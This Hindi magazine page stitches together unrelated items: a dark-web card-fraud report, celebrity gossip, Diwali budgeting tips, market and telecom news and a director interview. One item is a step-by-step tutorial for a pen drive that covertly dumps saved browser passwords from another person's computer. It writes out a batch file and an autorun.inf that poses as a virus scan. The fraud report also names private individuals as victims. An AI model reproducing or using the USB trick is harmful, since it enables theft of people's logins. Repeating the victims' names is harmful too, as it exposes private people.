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डार्क वेब से रहें सावधान, लगा सकते हैं आपके बैक अकाउंट में सेंध

डार्कवेब की अंधेरी वर्चुअल दुनिया में खुलेआम डेबिट-क्रेडिट कार्ड से ठगी कर लोगों को लाखों करोड़ों की चपत लगाई जा रही है. अंतरराष्ट्रीय गैंग हर दिन हजारों कार्डों को नीलामी पर रख रही है, जिनमें 13 नाम इंदौर से है. इन 13 लोगों के क्रेडिट कार्ड की जानकारियां महज 8 से 12 डौलर में बिटक्वौइन अकाउंट के माध्यम से खरीदी जा सकती है. बिना ओटीपी विदेशी वेबसाइट से खरीदी होने से गिरोह आसानी से ठगी कर लेते हैं और कार्डधारक को पता भी नहीं चलता.

गैंग के पर्दाफाश में साइबर पुलिस को शहर के दिशा शास्त्री, सपना कोर्डे, सुरभि यादव, लतिका केसवानी, माधुरी गुप्ता, ईशा डोसी, सुशील भडक़े, मुस्कान चंदेल, ज्योतिका चक्रपानी, धनश्री जोशी, कमल शर्मा व मेघा जैन का नाम मिला है. अधिकारियों ने उक्त कार्ड धारकों से साइबर सेल में संपर्क करने की अपील की है, ताकि उनके कार्ड ब्लौक कराए जा सकें.

डार्कवेब पर हैकर बेच रहे डाटा

साइबर सेल के एसपी जितेंद्र सिंह के मुताबिक, अवैध गतिविधियों के लिए संचालित हो रहे डार्क वेब के जरिए सारी गड़बड़ी हो रही है. आरोपित रामप्रसाद नाडर डार्क वेब के जरिए ही लाहौर के सोजी उर्फ शेख अफजल के संपर्क में आया था. डार्क वेब के लिए अलग ब्रोशर है, जिसके जरिए ड्रग्स, हथियार भी खरीदे जा सकते हैं. डार्क वेब की कुछ वेबसाइट पर हैकर लोगों के क्रेडिट डेबिट कार्ड की डिटेल 8 से 12 डालर में बेच देते हैं.

 

क्या है बिटक्वौइन

ठगी में कार्ड डिटेल हासिल करने के लिए इस्तेमाल की गई बिटक्वौइन (वर्चुअल करंसी) का इन दिनों कई देशों में बोल बाला है. यह डिजिटल क्रिप्टो करंसी है, जिसका कोई भौतिक स्वरूप नहीं होता. यह काले धन के लेन-देन के लिए कुख्यात होने के बावजूद कई देशों ने इसे मान्यता दी है. केवल औनलाइन के जरिये खरीदी-बिक्री होती रहती है. 2009 में इसे अब तक अज्ञात किसी सेनटोशी नाकामोटा नामक व्यक्ति ने ओपन सोर्स सौफ्टवेयर के जरिये जारी किया था.

इसका उपयोग औनलाइन या इलेक्ट्रौनिक भुगतान के लिए होता है. कई देशों में इसका कारोबारी भुगतान में उपयोग हो रहा है. आज की तारीख में एक बिटक्वौइन की कीमत 5705 अमरीकी डौलर यानी 3 लाख 69 हजार 225 रुपए है.

यहां देखें एकता कपूर की दीवाली पार्टी में बौलीवुड सितारों के ग्लैमर का तड़का

देश में जब हर तरफ दीवाली का माहौल हो और उसकी धूम मची हो. तब ऐसे में भला बौलीवुड कैसे पीछे रह सकता है. पिछले दिनों शाहरूख खान, सलमान खान की बहन अर्पिता खान शर्मा, अक्षय कुमार, डिजाइनर अबु जानी सहित बौलीवुड जगत के कई सितारे ने दीवाली की पार्टी दी, जिसमें फिल्‍मों और टीवी के कई सितारे शामिल हुए. बौलीवुड के बाकी सितारों की तरह  टीवी सीरियल क्‍वीन एकता कपूर ने भी अपने घर में दीवाली की पार्टी रखी. फिल्‍मी दुनिया के सुपरस्‍टार्स से लेकर टीवी की दुनिया के दिग्‍गज, सब यहां एक साथ सज-धज के और टशन में नजर आए.

ज्‍यादातर सितारे यहां जोड़ियों में आए तो वहीं पिछले कुछ दिनों से ब्रेकअप की खबरों के बीच सिद्धार्थ मल्‍होत्रा और आलिया भट्ट की कथित जोड़ी यहां अलग पहुंचीं. इसके अलावा एकता कपूर की इस पार्टी में अक्षय कुमार और उनकी पत्‍नी ट्विंकल खन्ना, श्रीदेवी, सोनम कपूर, करण जौहर, सुशांत सिंह राजपूत, कृति सेनन, सोनाक्षी सिंहा जैसे कई बौलीवुड सितारे पहुंचे. तो वहीं इस पार्टी में दिव्‍यांका त्रिपाठी, मोना कपूर, साक्षी तंवर, रक्षंधा खान क्रिस्‍टल डीसूजा जैसे कई टीवी स्‍टार्स भी शामिल हुए.

एकता कूपर की इस पार्टी में पहुंची फिल्‍म ‘वीरे दी वेडिंग’ की पूरी टीम.

अक्षय कुमार अपनी पत्‍नी ट्विंकल और बिपाशा बासु अपने पति करण सिंह ग्रोवर के साथ.

कुछ इस अंदाज में पहुंचे सुशांत, कृति सेनन और सारा अली खान.

दिव्‍यांका त्रिपाठी पति विवेक दहिया और शब्‍बीर आहलुवालिया अपनी अपनी पत्‍नी के साथ पहुंचे.

बहन एकता कपूर की दीवाली पार्टी में खास अंदाज में दिखे तुषार कपूर.

श्रीदेवी अपने पति बोनी कपूर के साथ, अनिल कपूर, हेमा मालिनी.

दीवाली पार्टी में राकेश रोशन व रिषि कपूर.

शिल्‍पा सक्‍लानी और उनके पति अपूर्व अग्निहोत्री.

ईशा देओल अपने पति भरत तख्‍तानी के साथ तो वहीं संजय दत्त और पत्‍नी मान्‍यता ब्‍लैक ड्रेस में नजर आईं.

टीवी का जानामाना नाम मोना कपूर, अदा खान, रक्षंधा खान और साक्षी तंवर.

शत्रुघ्‍न सिन्‍हा के बेटे लव और कुश.

बता दें कि एकता कपूर टीवी और फिल्‍म, दोनों इंडस्‍ट्री में काफी सक्रीय हैं और टीवी के कई सीरियल्‍स प्रोड्यूज करने के साथ ही ‘वीरे दी वेडिंग’, ‘लिपस्टिक अंडर माई बुर्का’, जैसी कई फिल्‍मों का प्रोडक्‍शन भी कर चुकी हैं.

 

कंप्यूटर के सीक्रेट फाइल्स को ऐसे करें हैक

हैकिंग का इस्तेमाल हमेशा गलत कामों के लिए ही किया जाए ऐसा जरूरी नहीं. हैकिंग का इस्तेमाल सही उद्देश्य को पूरा करने के लिए भी किया जा सकता है. आमतौर पर गूगल पर इससे जुड़ी सारी जानकारी मुफ्त में उपलब्ध है. हम अपनी इस स्टोरी के जरिए आपको एक ऐसी ट्रिक बताने जा रहें हैं जिसकी मदद से आप एक पेनड्राइव को ऐसी खास तकनीक से लैस कर सकते हैं जो किसी भी डिवाइस जैसे कि पीसी में लगाते ही उसके सीक्रेट फोल्डर का पासवर्ड चुरा सकता है.

जरुरतें

  • पेन ड्राइव
  • कंप्यूटर या लैपटौप
  • Web Browser Pass View

जानिए स्टेप बाई स्टेप

  • सबसे पहले अपने कंप्यूटर डिवाइस में Web Browser Pass View को इंस्टौल करना होगा. यह ध्यान रहे कि आप सही फाइल को इंस्टौल कर रहे हैं. साथ ही, फाइल में कोई ब्रेक नहीं है.
  • अब पेन ड्राइव को कंप्यूटर से कनेक्ट करें और उसमें मौजूद सभी डाटा को रिमूव कर दें. पेन ड्राइव को फौर्मेंट करने के लिए आप NTFS फौर्मेट का विकल्प चुन सकते है.
  • इन सब प्रक्रिया के बाद, USB नाम से पेन ड्राइव के अंदर एक नया फोल्डर बनाएं. अब नए फोल्डर के अंदर Web Browser Pass View फाइल को रखें और नेक्स्ट स्टेप में जाएं.

  • अब अपने कंप्यूटर में नोटपैड को ओपन करें और एक नई फाइल बनाएं. उस फाइल के अंदर “ @echo off cls start \usb\WebBrowserPassView.exe /shtml1.html” कोड को पेस्ट करें और इसे USB Driver.bat के रूप में सेव करें. अब दोबारा एक नई फाइल बनाएं और दूसरे कोड “[autorun] open=usbdriver.bat Action=Perform s Virus Scan“ को पेस्ट करें. इस फाइल को inf. नाम से सेव करें.
  • इसके बाद, अभी बनाए दोनों नोटपैड फाइल्स को पेन ड्राइव में मूव कर दें और अब आपका काम हो गया. अब आप इस पेनड्राइव को उस कंप्यूटर में लगाएं जिसके डाटा को आप पाना चाहते हैं. पेन ड्राइव को लगाने के बाद आपको वायरस स्कैन करने के लिए कहा जाएगा. उसे एक्सेप्ट करें और परफौर्म करने दें. आपको पेन ड्राइव के अंदर लौगिन करने पासवर्ड मिलेगा जिसे आप बाद में एक्सेस कर सकते हैं.

जब शूटिंग करते वक्त सच में रेप करने लगे थे प्रेमनाथ

70 और 80 के दशक में रिलीज होने वाली ज्यादातर फिल्मों में रेप सीन हुआ करता था. निर्देशक अक्सर अपनी फिल्मों में रेप सीन का मसाला डालकर उसे हिट कराने की कोशिश में रहते थे. 1969 में आई फिल्म ‘द गोल्ड मैडल’ के डायरेक्टर रविकांत नगाइच भी अपनी फिल्म में वही मसाला डालने की तैयारी कर रहे थे. सेट पर सभी लोग रेप सीन को शूट करने के लिए तैयार थे. इस सीन में एक्ट्रेस फरयाल का रेप प्रेमनाथ करने वाले थे.

लेकिन रेप सीन शूट करते समय प्रेम नाथ बहक गए और वो सचमुच फरयाल के साथ रेप करने लगे. दरअसल, निर्देशक ने प्रेमनाथ को फरयाल के साथ जितना क्लोज होने के लिए और जिस तरह का सीन करने को कहा था वो बिल्कुल उससे अलग कर रहे थे. फरयाल भी प्रेम नाथ के इस रूप को देखकर डर गई और चिल्लाने लगी. सीन के मुताबिक प्रेमनाथ फरयाल को सोफे पर पटकते और उनके ऊपर हावी होकर चल देते.

लेकिन प्रेम नाथ ने फरयाल को इस तरह दबोचा कि वो डर गई और चीखने लगी. प्रेम नाथ उनकी चीख सुनकर भी नहीं रुके और उनके साथ जबरदस्ती करने लगे. हैरान करने वाली बात यह थी कि उस समय निर्देशक के साथ साख फिल्म के एक्टर जितेंद्र भी वहां मौजूद थे लेकिन वो प्रेमनाथ को रोकने के बजाए हंस रहे थे.

फरयाल ने किसी तरह खुद को प्रेम नाथ के चुंगल से बाहर किया और वहां से भाग गई. हालांकि, कुछ दिनों बाद डायरेक्टर ने फरयाल को समझाते हुए फिल्म के लिए राजी कर लिया. फिल्म रिलीज हुई लेकिन दर्शकों पर अपना असर छोड़ने में कामयाब नहीं हुई. इस फिल्म में धर्मेंद्र, शत्रघ्न सिन्हा और जितेंद्र मुख्य भूमिका में थे.

दीवाली विशेष : कम खर्च पर ज्यादा खुशी

दीवाली जहां उल्लास का माहौल निर्मित करती है, वहीं आप के खर्च में इजाफा भी कर देती है. बाजार में उपलब्ध नईनई चीजों व जगहजगह लगीं फैस्टिव सेल देख लगता है कि सबकुछ खरीद लिया जाए. इस चक्कर में गैरजरूरी चीजें भी हम खरीद लेते हैं. ऐसा करते समय अकसर बजट से ज्यादा खर्चा हो जाता है और अनपेक्षित खर्चों के एकदम आ जाने से त्योहार का मजा किरकिरा हो जाता है.

त्योहार के दौरान उपहार के खर्च बढ़ जाते हैं और मेहमानों का आगमन भी. मेहमानों के आदरसत्कार में कोई कमी रह जाए तो संबंधों में खटास आते देर नहीं लगती. ध्यान रखें कि इस समय आप को खुश भी रहना है और अपने बजट को देखना भी है. अचानक आ जाने वाले खर्चों के लिए 20 प्रतिशत इमरजैंसी कोष अवश्य रखें, ताकि कुछ कमी रह जाए तो उस की पूर्ति की जा सके. मनी मैनेजमैंट कर के आप अपने उत्साह को बरकरार रख सकती हैं. अपने बजट के अनुसार किस तरह चलें, इस के लिए अपनाएं ये टिप्स –

द्य सब से पहले तो दीवाली पर जिनजिन चीजों की आवश्यकता है, उन सभी संभावित खर्चों की सूची बनाएं. अलगअलग वर्गों के अंतर्गत खर्चों के गु्रप बनाएं ताकि कोई भी महत्त्वपूर्ण खर्च अनदेखा न रह जाए. खर्चे परिवार के सम्मिलित होते हैं, इसलिए उन्हें पूरा परिवार ही मिल कर तय करे.

द्य सूची में लिखी चीजों की संभावित कीमतों का अनुमान लगा लें. इस में बढ़ती कीमतों को भी ध्यान में रखें, ताकि आखिरी मौके पर इमरजैंसी कोष को खर्च करने की नौबत न आए.

द्य आजकल बाजार में मिल रहे मिलावटी खोए को देख कर यही लगता है कि घर में ही मिठाईनमकीन तैयार कर ली जाए. इस से महंगी मिठाइयां खरीदने से आप का बजट भी नहीं बिगड़ेगा. घर में पापड़ीचाट या नमकीन पारे बना लें. सभी इन्हें शौक से खाते हैं. मठरी, समोसे व लड्डू आदि भी घर में बनाए जा सकते हैं.

द्य बाजार में इतनी किस्मों के दीए व मोमबत्तियां उपलब्ध हैं कि सब को खरीदने का मन करता है, पर इतने सारे न खरीदें कि अगले साल तक उन्हें सहेज कर रखना पड़े. अगले साल तक वे या तो टूट जाएंगे या सारसंभाल ठीक न होने की वजह से बदरंग हो जाएंगे. 50 दीए बहुत रहेंगे और 4-5 पैकेट मोमबत्ती के. दीयों को ला कर 3-4 घंटों के लिए पानी में भिगो कर रख दें, इस से वे कम तेल पिएंगे.

द्य दीवाली पर महिलाएं आभूषण जरूर खरीदना चाहती हैं. कुछ ज्वैलर्स इस दौरान आकर्षक एक्सचेंज औफर देते हैं. जैसे, अपनी ही दुकान से खरीदी गई ज्वैलरी के बदले दोबारा उतनी ही कीमत की दूसरी ज्वैलरी लेने की छूट. आप चाहें तो ऐसी योजनाओं का फायदा उठा सकती हैं.

द्य बच्चों को अनावश्यक पटाखे आदि खरीद कर न दें. इस से प्रदूषण तो कम होगा ही, साथ ही, उन की अन्य पसंदीदा चीजें भी आप के बजट से ही पूरी हो जाएंगी.

शौपिंग से पहले सूची बना लें

त्योहारों में शौपिंग करना तो स्वाभाविक ही है, ऐसे में पहले से प्लानिंग कर न सिर्फ उस का लुत्फ उठाया जा सकता है बल्कि जरूरत और मनपसंद हर चीज वक्त रहते खरीदी जा सकती है. त्योहार के समय बाजारों में इतनी भीड़ होती है कि आपाधापी में अनुपयोगी वस्तुएं हम खरीद लेते हैं. इसलिए सूची ले कर बाजार जाएं और उस के अनुसार चीजें खरीदें.

चीजें जल्दबाजी में न खरीदें

अगर आप दीवाली पर फ्रिज, टीवी, एसी या वाशिंग मशीन जैसी कोई महंगी चीज खरीद रही हों तो ऐसी चीजें जल्दबाजी में न खरीदें. खरीदने से पहले इन चीजों के बारे में बाजार में घूम कर अच्छी तरह से जानकारी हासिल कर लें कि कौन सी कंपनी का कौन सा प्रोडक्ट आप के परिवार की जरूरतों के हिसाब से उपयुक्त रहेगा. जो सामान आप खरीदने जा रही हैं उस की आफ्टरसेल वैल्यू क्या है, उस का गारंटी पीरियड कितना है, उस की सर्विसिंग की सुविधाएं उपलब्ध हैं या नहीं, आदि जानकारी हासिल कर लें.

वैश्विक माहौल से शेयर बाजार में गिरावट

मजबूती पर चल रहे बौंबे स्टौक एक्सचेंज यानी बीएसई के सूचकांक ने सितंबर के दूसरे पखवाड़े में डुबकी लगाई और सूचकांक 32,000 के मनोवैज्ञानिक अंक से नीचे उतरा. इसी तरह से नैशनल स्टौक एक्सचेंज का निफ्टी भी 10 हजार अंक के मनोवैज्ञानिक स्तर से नीचे उतरा है. 25 सितंबर को तो सूचकांक 435 अंक तक लुढ़का.

विश्लेषक बाजार के गिरने की वजह अमेरिका तथा उत्तर कोरिया के बीच जारी तनाव को मानते हैं. इस की वजह से वैश्विक बाजार प्रभावित रहा और उस का सीधा असर बीएसई के सूचकांक में भी देखने को मिला है.

देश की दूसरी सब से बड़ी आईटी कंपनी इंफोसिस में नंदन नीलेकणी की तैनाती के बाद बाजार ने 585 अंक की छलांग लगाई थी लेकिन निवेशकों का यह उत्साह ज्यादा दिन नहीं चला और एक सप्ताह बाद सूचकांक लुढ़क गया.

वैश्विक तनाव के साथ ही देश की अर्थव्यवस्था के कमजोर रहने के अनुमान को भी इस का कारण माना जा रहा है. इस अवधि में डौलर के मुकाबले रुपया भी काफी कमजोर रहा. इस से भी निवेशकों का मनोबल घटा है लेकिन वैश्विक परिणामों का बाजार पर ज्यादा असर रहा.

मोबाइल टावर का कारोबार करेगी सरकार

देश में दूरसंचार क्षेत्र की क्रांति का लाभ मोबाइल निर्माता तथा मोबाइल फोन सेवाप्रदाता कंपनियां खूब उठा रही हैं. यह बाजार वैश्विक और घरेलू मोबाइल कंपनियों के लिए भारत में सर्वाधिक आकर्षक का है. इस का फायदा अब सरकारी क्षेत्र की कंपनी भारत संचार निगम लिमिटेड यानी बीएसएनएल अलग तरीके से उठाने का प्रयास कर रही है.

बीएसएनएल तथा महानगर टैलिफोन निगम लिमिटेड यानी एमटीएनएल की सेवाएं अच्छी नहीं हैं और दोनों कंपनियां निजी क्षेत्र की कंपनियों की प्रतिस्पर्धा में भी नहीं हैं, फिर भी ग्राहकों का उन कंपनियों पर काफी विश्वास है. उन्हें लगता है इन कंपनियों में अनावश्यक लूट नहीं है. हालांकि उन के अधिकारी व कर्मचारी अपनी इस जिम्मेदारी का निर्वहन ग्राहकों के विश्वास के अनुकूल नहीं कर रहे हैं.

बीएसएनएल के पास जबरदस्त ढांचागत सुविधा है. देश के हर कोने में उस के टावर लगे हैं. इस सुविधा का फायदा उठाते हुए सरकार ने मोबाइल टावर का कारोबार करने और राजस्व अर्जित करने का इसे नया जरिया बनाने की योजना बनाई है. इस के लिए मंत्रिमंडल ने अलग से टावर कंपनी बनाने का फैसला किया है.

बीएसएनएल के पास 66 हजार से ज्यादा मोबाइल टावर हैं जो कुल टावरों का 15 फीसदी से ज्यादा है. विभिन्न कंपनियों के देशभर में 4 लाख 42 हजार टावर हैं. अपने टावरों के जरिए बीएसएनएल कारोबार बढ़ाएगी और अपनी हिस्सेदारी जल्द ही ज्यादा करेगी.

यह सरकारी संपत्ति का राजस्व अर्जन के लिए अच्छा प्रयास है लेकिन सवाल यह है कि जिस कंपनी के पास इतनी बड़ी तादाद में टावर हैं, आखिर वह सेवाप्रदाता कंपनियों के साथ तगड़ी प्रतिस्पर्धा क्यों नहीं बना पा रही है.

चिटफंड कंपनियों पर लगेगी लगाम

सरकार की योजना चिटफंड के नाम पर देशभर में लूट मचाने वाली कंपनियों पर लगाम कसने की है. इस के लिए सरकार संसद में विधेयक लाने की तैयारी कर रही है. उस से देशभर में चिटफंड कंपनियों की लूट रोकने के लिए एकीकृत कानून बन जाएगा.

राज्यों के इस संबंध में अपने कानून हैं और केंद्र सरकार उन कानूनों की कई व्यवस्थाओं को भी केंद्रीय कानून में शामिल करेगी ताकि फर्जी कंपनियों द्वारा गरीबों को लूटने का काम बंद हो सके. इस के साथ ही, सरकार फर्जी कंपनियों के फर्जी निदेशकों पर लगाम लगा रही है. इस संदर्भ में उस ने एक लाख फर्जी निदेशकों की सूची भी तैयार कर ली है.

सरकार का कहना है कि गत 12 सितंबर तक एक लाख 6 हजार से ज्यादा निदेशक फर्जी घोषित किए गए हैं. चिटफंड कंपनियों का जाल सरकार की सख्ती के बावजूद देशभर में फैला हुआ है. आएदिन चिटफंड कंपनियों द्वारा लूट की खबरें आती हैं. ये चिटफंड कंपनियां गरीब के खूनपसीने का पैसा लूट कर चंपत हो जाती हैं. इस का फायदा प्रभावशाली लोग भी उठाते हैं जिस से इन कंपनियों के खिलाफ कार्यवाही नहीं होती है.

कई प्रभावशाली लोग इस तरह के घोटालों में जेल की हवा भी खा चुके हैं. यह धंधा अत्यंत लाभकारी है, इसलिए इस तरह की कंपनियों पर लगाम नहीं लग पा रही है. कानून के रखवालों का मुंह मोटी रकम दे कर बंद किया जाता है और इस से फर्जी कंपनियों को पनपने का मौका मिलता है. उम्मीद की जानी चाहिए कि सख्त कानून बनने से लोगों की लूट का यह धंधा बंद होगा.

देसपरदेस

कांग्रेस उपाध्यक्ष राहुल गांधी अमेरिका जा कर जगहजगह कुछकुछ बोले. परिवारवाद पर दिए उन के व्याख्यान से तिलमिलाई भाजपा की तरफ से आधिकारिक प्रतिक्रिया वित्त मंत्री अरुण जेटली ने दी कि राहुल का वंशवाद का बयान शर्मसार करने वाला था.

चूंकि देश के लोग ध्यान से नहीं सुन रहे थे, इसलिए अपने दिल की भड़ास राहुल ने विदेश जा कर भी निकाली कि भारत में असहिष्णुता और बेरोजगारी

2 बड़ी चुनौतियां हैं. जैसे भारत में भाजपा का आरएसएस है वैसे ही अमेरिका में डैमोक्रेटिक पार्टी का एक थिंकटैंक सीएपी यानी सैंटर फौर अमेरिकन प्रोग्रैस है जिस ने राहुल को हाथोंहाथ लिया. बात गर्व की है कि हमारी राजनीति अंतर्र्राष्ट्रीय होती जा रही है जिस का एक पहलू यह भी है कि अगर प्रधानमंत्री नरेंद्र मोदी विदेशों में जा कर अपनी सरकार की उपलब्धियां गिना सकते हैं तो राहुल गांधी वहीं जा कर उन की धज्जियां क्यों नहीं उड़ा सकते.

इस बार फिल्म के साथ दीवाली मना रहा हूं : रोहित शेट्टी

फिल्म ‘चेन्नई एक्सप्रेस’ के लिए सर्वश्रेष्ठ निर्देशक का पुरस्कार पाने वाले निर्माता और निर्देशक रोहित शेट्टी मुंबई के हैं. फिल्मी माहौल में पैदा हुए, रोहित को बचपन से ही फिल्मी क्षेत्र में ही कुछ करने की इच्छा थी. उनकी मां रत्ना शेट्टी जूनियर आर्टिस्ट थीं और उनके पिता एम बी शेट्टी मूवी फाइट मास्टर थे.

17 साल की उम्र में करियर की शुरुआत करने वाले रोहित शेट्टी ने ‘फूल और कांटे’ फिल्म में असिस्टेंट डायरेक्टर के रूप में काम शुरू किया था, लेकिन उनकी सफल फिल्म सिंघम, गोलमाल, चेन्नई एक्सप्रेस, बोल बच्चन आदि कई फिल्में हैं, जिसके बाद से उन्हें पीछे मुड़कर देखना नहीं पड़ा. उनकी इस कामयाबी के पीछे वे अभिनेता अजय देवगन का हाथ मानते हैं, जिन्होंने उनके हर निर्देशन को बारीकी से पर्दे पर उतारा है. फिल्मों में कारों का उछलना और रंग-बिरंगी लोकेशन दिखाना उनकी खास पसंद है. फिल्मों के अलावा वे टीवी पर भी रिएलिटी शो के होस्ट और जज भी रह चुके हैं. स्ट्रांग और सीरियस दिखने वाले रोहित शेट्टी हमेशा खुश रहते हैं और किसी भी सफलता को अपने परिवार और दोस्तों के साथ बिताना पसंद करते हैं. फिल्म ‘गोलमाल अगेन’ रिलीज पर है, पेश है उनसे हुई बातचीत के अंश.

किसी फिल्म का प्रेशर आप पर कितना होता है?

किसी भी फिल्म को बनाते समय मेरी कोशिश रहती है कि फिल्म ऐसी बने, जिससे लोग अपने आप को जोड़ सकें. प्रेशर तो होता है, क्योंकि एक फिल्म के पीछे पूरी टीम होती है. गोलमाल 5 तब बनेगी, जब ये फिल्म चले, क्योंकि किसी फिल्म की सीरीज बनाना आसान नहीं होता.

फिल्म अगर हिट हो, तो कलाकार को शाबाशी दी जाती है, जबकि फ्लाप होने पर निर्देशक को इसका जिम्मेदार माना जाता है, इस बात से आप कितने सहमत हैं?

मैं ऐसा नहीं सोचता, क्योंकि फिल्म चलेगी, तो मेरी और नहीं चलेगी तो भी मेरी ही होगी, लेकिन मैं इस बात से खुश हूं कि मुझे निर्देशक के रूप में बहुत प्यार मिला, मेरी फिल्में चली. मैं फिल्में बनाकर छोड़ नहीं देता, बल्कि इसकी ‘ट्रेकिंग’ भी करता रहता हूं कि ये कहां और कब दिखाई जा रही है. गोलमाल, सिंघम की ऐसी रिकार्ड मेरे पास है, जिससे मुझे इसकी प्रसिद्धि का पता चलता रहता है. इसके अलावा मैंने टीवी पर भी काम किया है उसमें भी पता चला है कि दर्शकों ने मुझे कितना पसंद किया.

फिल्मों में आप गहरे रंगों का अधिक प्रयोग करते हैं, इसकी वजह क्या है?

मुझे गहरे और चटकीले रंग पसंद है, जो आंखो को अच्छा लगता है. ‘सिंघम’ फिल्म में आपको ऐसे रंग देखने को नहीं मिलेगा, क्योंकि उसकी लोकेशन और सीन्स वैसी नहीं थी. थोड़ी सिरियस किस्म की फिल्म थी. वहीं गोलमाल, चेन्नई एक्सप्रेस या बोल बच्चन जैसी फिल्में जो खुशी को जाहिर करने वाली है उसमें ऐसा दिखाने की कोशिश करता हूं और यही अब मेरा ट्रेडमार्क बन गया है.

कामेडी फिल्म में सफलता को क्या आपने पहले से सोचा था?

जब मैंने पहले कामेडी फिल्म बनाने को सोची, वह भी एक्शन हीरो अजय देवगन के साथ, तो सबने मेरी हंसी उड़ाई, पर मेरे लिए ये चुनौती बन चुका था. बनने लगी तो अच्छा लगा, क्योंकि फिल्म में सादगीपन थी, जिसे दर्शकों ने पसंद किया. इतनी उम्मीद तो नहीं थी, पर अब मुझमें आत्मविश्वास आ गया है.

आप अब तक की जर्नी को कैसे देखते हैं?

मैं हमेशा से अपने आप को लकी मानता हूं. मुझे हमेशा सही लोग मिलते गए, जिससे काम करना आसान हो गया. हालांकि मेहनत तो मैंने बहुत की है, लेकिन सही समय पर सही व्यक्ति का साथ में होना बहुत जरुरी होता है. मैं किसी भी चीज को ग्रांटेड नहीं लेता कि मैं कुछ भी बनाऊंगा तो फिल्म चलेगी. मेरे हिसाब से ऐसा हर व्यक्ति को सोचना चाहिए. मुझे याद है कि एक एक्शन फिल्म करने के दौरान मैंने गोलमाल की कहानी सुनी थी. जो मेरे लिए लकी साबित हुई.

कामेडी में किसी का मजाक न उड़ाया गया हो इस बात का कितना ध्यान रखते हैं?

इसका मैं ध्यान रखता हूं और कोशिश करता हूं कि कोई ‘हर्ट’ न हो.

आपके यहां तक पहुंचने में परिवार का सहयोग कितना रहा?

परिवार का बहुत सहयोग रहा. जितना मैं अपने काम को सिरियसली लेता हूं उतना वे भी मेरे काम को लेते हैं. मेरी पत्नी हमेशा मेरी शिड्यूल को देखती है और जो भी कहना होता है, उसके बाद कहती है ताकि मैं फ्री होकर उसकी बात सुनूं. मेरी मां, मेरी पत्नी और बेटा सब मेरे हर काम और उसकी सफलता में शामिल होते हैं. जब मैं व्यस्त रहता हूं तो वे एक ऐसा माहौल तैयार करते हैं, जिससे मुझे स्ट्रेस न हो.

एक्शन वाली फिल्में देखकर आज की यूथ उसे करने की कोशिश करती है, जिससे कई दुर्घटनाएं हो जाया करती हैं, आप उन्हें क्या संदेश देना चाहते हैं?

मेसेज ये है कि हम सारे ट्रेन्ड हैं और कई साल इसे सीखने के लिए गुजारे हैं, उसे कभी भी न दोहराएं, ये हमारा प्रोफेशन है, हम मस्ती के लिए कभी नहीं करते. खासकर सड़क पर तो हम कभी भी कोई स्टंट करते नहीं हैं. इसकी ट्रेनिंग होती है, सुबह उठे और बाइक चला लिया, ऐसा कभी नहीं होता. सिनेमा के लिए जब हम कुछ भी करते हैं तो ‘सेफ्टी’ को ध्यान में रखा जाता है. आम जिंदगी में ये हम कभी नहीं करते.

दीवाली का त्योहार कैसे मनाते हैं?

मैं इस बार इस फिल्म के साथ दीवाली मना रहा हूं. ये खुशियों का त्योहार है इसलिए कामेडी फिल्म को मैंने इस बार चुना है. इसके अलावा परिवार के साथ इसे मनाऊंगा.

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